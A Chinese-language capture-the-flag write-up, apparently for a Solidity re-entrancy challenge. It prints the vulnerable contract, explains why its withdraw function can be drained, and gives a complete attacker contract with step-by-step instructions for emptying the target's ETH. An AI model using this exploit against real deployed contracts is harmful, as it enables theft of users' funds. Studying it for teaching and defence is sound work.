Skip to main content

Re-entrancy

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

题目要求

题目合约部署后,合约里会有一定数量的 ETH。题目要求把合约里的钱全部转走

题目分析

这个题目的攻击点只能通过withdraw方法来实现。其中msg.sender.call{value:_amount}("");这句是向msg.sender转账 ETH 的。而且call方法没有限制value大小,如果msg.sender是一个恶意的合约。相当于调用了合约的receivefallback方法。 如果通过在合约的receivefallback方法里递归的调用 withdraw。则会把目标合约的钱全部转走

攻击步骤

  1. 编写攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrance {
function donate(address to) external payable;
function withdraw(uint amount) external;
}

contract ReentranceAttack {
IReentrance public reentrance;

constructor(address _reentrance) public {
reentrance = IReentrance(_reentrance);
}

function deposit() external payable {
reentrance.donate{value: msg.value}(address(this));
}

function withdraw(uint256 _amount) external {
reentrance.withdraw(_amount);
}

receive() external payable {
if (address(reentrance).balance > 0) {
reentrance.withdraw(msg.value);
}
}
}
  1. 获取目标合约的balance
await web3.eth.getBalance(instance)
  1. 通过攻击合约调用目标合约的donate方法并支付 ETH(这里建议支付和目标合约余额相同数量的 ETH,为下面递归调用 withdraw 提供方便),这样才能调用目标合约的withdraw方法
  2. 调用攻击合约的withdraw方法。这里传参_amount时要简单计算一下。因为receive方法中是取msg.value。这里即不能递归调用太深,也不能递归调用完还有一点没取出或者取到最后的时候不够msg.value.所以建议上面存的时候存和目标合约相同的balance。这样只需要调用两次withdraw即可成功调用

社区答案里给的递归调用原理图: